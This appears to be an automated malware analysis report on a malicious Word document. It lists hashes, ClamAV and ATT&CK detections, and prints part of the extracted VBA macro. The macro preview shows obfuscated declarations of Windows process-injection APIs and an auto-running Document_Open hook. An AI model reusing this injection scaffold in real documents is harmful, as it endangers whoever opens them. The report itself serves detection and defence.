Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e05c54ea5e61b950…

MALICIOUS

Office (OLE)

36.5 KB Created: 2018-01-18 16:39:00 Authoring application: Microsoft Office Word First seen: 2018-01-23
MD5: ca161edbcd8ff0e82782d08f4a11ef4c SHA-1: 24efbf462bd1b47ff7d9f685dc47aa85a71fbc65 SHA-256: e05c54ea5e61b9501da36a62be5149628208e866b738aa8786edba09ef1ca910
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1055.012 Process Injection: Process Hollowing T1055.001 Process Injection: Native API

The sample contains a VBA macro that leverages Windows API calls such as CreateRemoteThread, VirtualAllocEx, and WriteProcessMemory. This indicates an attempt to inject code into another process, a common technique for executing malicious payloads. The presence of CreateProcessA suggests the macro may also be used to launch a new process for the payload. The ClamAV detection further supports the malicious nature of the file.

Heuristics 8

  • ClamAV: Doc.Macro.Injection-6355574-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Injection-6355574-0
  • Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORY
    Reference to WriteProcessMemory API
  • Reference to CreateRemoteThread API critical SC_STR_CREATEREMOTETHREAD
    Reference to CreateRemoteThread API
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2875 bytes
SHA-256: 279fbd6b10edf75cc486eab77bfa097d26892d7dcde9b103307394fba15ed8bb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Type PROC
    pr As Long
    gdfgs As Long
    asdfasdf As Long
    wqrwerfsae As Long
End Type

Private Type INFO
    cb As Long
    asdfasdf As String
    asdfhfg As String
    ouin As String
    dtbd As Long
    sdfvs As Long
    nulim As Long
    xbyju As Long
    dwXCountChars As Long
    dwYCountChars As Long
    erctvtuuno As Long
    jbuytbju As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    lmomgt As Long
    hStdOutput As Long
    hStdError As Long
End Type

#If VBA7 Then
    Private Declare PtrSafe Function aaa Lib "kernel32" Alias "CreateRemoteThread" (ByVal pr As Long, ByVal gerwcfgerwct As Long, ByVal ewrcterwctwe As Long, ByVal uyinuyit As LongPtr, qwrceeqwre As Long, ByVal omu9olnryu As Long, qertwqc As Long) As LongPtr
    Private Declare PtrSafe Function bbb Lib "kernel32" Alias "VirtualAllocEx" (ByVal pr As Long, ByVal gsdfgrsdr As Long, ByVal rgaegedg As Long, ByVal gasdfgasdf As Long, ByVal gaesrgear As Long) As LongPtr
    Private Declare PtrSafe Function ccc Lib "kernel32" Alias "WriteProcessMemory" (ByVal pr As Long, ByVal crefytrey As LongPtr, ByRef ervyertvy As Any, ByVal ikbedhrt As Long, ByVal ertcqxeerqw As LongPtr) As LongPtr
    Private Declare PtrSafe Function ddd Lib "kernel32" Alias "CreateProcessA" (ByVal gdfhdfsghs As String, ByVal sfghfshdh As String, hdhdfgsad As Any, jkukghjyg As Any, ByVal asdfwetry As Long, ByVal ioiuyio As Long, yuiort As Any, ByVal ertyer As String, erevcbc As INFO, ewymoikfgh As PROC) As Long
#Else
    Private Declare Function aaa Lib "kernel32" Alias "CreateRemoteThread" (ByVal pr As Long, ByVal gerwcfgerwct As Long, ByVal ewrcterwctwe As Long, ByVal uyinuyit As LongPtr, qwrceeqwre As Long, ByVal omu9olnryu As Long, qertwqc As Long) As Long
    Private Declare Function bbb Lib "kernel32" Alias "VirtualAllocEx" (ByVal pr As Long, ByVal gsdfgrsdr As Long, ByVal rgaegedg As Long, ByVal gasdfgasdf As Long, ByVal gaesrgear As Long) As Long
    Private Declare Function ccc Lib "kernel32" Alias "WriteProcessMemory" (ByVal pr As Long, ByVal crefytrey As Long, ByRef ervyertvy As Any, ByVal ikbedhrt As Long, ByVal ertcqxeerqw As Long) As Long
    Private Declare Function ddd Lib "kernel32" Alias "CreateProcessA" (ByVal gdfhdfsghs As String, ByVal sfghfshdh As String, hdhdfgsad As Any, jkukghjyg As Any, ByVal asdfwetry As Long, ByVal ioiuyio As Long, yuiort As Any, ByVal ertyer As String, erevcbc As INFO, ewymoikfgh As PROC) As Long
#End If




Sub Document_Open()
    
    Call njjVu
    
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.